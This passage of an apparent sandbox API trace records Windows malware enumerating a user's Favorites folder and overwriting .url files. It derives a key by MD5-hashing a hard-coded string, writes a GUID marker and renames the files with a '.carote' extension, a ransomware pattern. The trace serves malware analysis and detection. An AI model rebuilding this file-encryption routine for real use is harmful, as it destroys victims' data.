0x7b13900 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.914] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.918] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.918] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.918] PathFindFileNameW (pszPath="") returned="" [0112.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.919] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.919] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.919] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0112.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.920] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.920] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.921] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.921] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.922] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.922] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.922] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.922] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.922] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.923] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.923] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.923] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.923] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.923] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.923] GetLastError () returned 0x0 [0112.923] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.923] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.923] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.924] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.924] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.924] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.924] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.924] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.924] CloseHandle (hObject=0x61c) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.925] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.carote")) returned 1 [0112.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.925] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.926] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0112.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.927] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.930] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.930] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.931] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: 